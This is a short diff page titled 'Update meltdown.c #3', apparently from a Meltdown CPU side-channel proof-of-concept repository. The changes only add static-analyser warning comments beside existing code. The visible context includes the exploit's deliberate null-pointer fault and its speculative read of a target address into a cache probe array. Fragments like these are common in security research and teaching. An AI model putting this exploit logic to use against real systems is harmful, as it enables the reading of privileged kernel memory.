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Update meltdown.c #3

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Update meltdown.c #3

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9 changes: 5 additions & 4 deletions meltdown.c
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Original file line number Diff line number Diff line change
Expand Up @@ -101,7 +101,7 @@ meltdown(int round, uint8_t *addr)
/*
* Raise exception ...
*/
*((volatile int *)NULL) = 42;
*((volatile int *)NULL) = 42; /* Null pointer dereference !!! (volatile int*)NULL [nullPointer] */

/*
* NOTREACHED
Expand All @@ -122,7 +122,7 @@ meltdown_test(int round, uint8_t *addr)
{
junk = strlen(meltdown_pattern);
if (!sigsetjmp(buf, 1)) {
*((volatile int *)NULL) = 42;
*((volatile int *)NULL) = 42; /* Null pointer dereference !!! (volatile int*)NULL [nullPointer] */
/*NOTREACHED*/
junk = blocks[(*(addr)) * blocksize];
}
Expand Down Expand Up @@ -330,10 +330,11 @@ probability(enum vuln vuln, int kernel, int maxlen)
printf("Alternatives at offset %d:", n);
for (i = 0; i < VALUES_PER_BYTE; i++) {
if (cachehits[i])
printf(" 0x%02x (%c, n=%u)", i,
/* %u in format string (no. 3) requires 'unsigned int'
but the argument type is 'int' */
printf(" 0x%02x (%c, n=%u)", i,
isprint(i) ? i : '.',
cachehits[i]);

}
}
}
Expand Down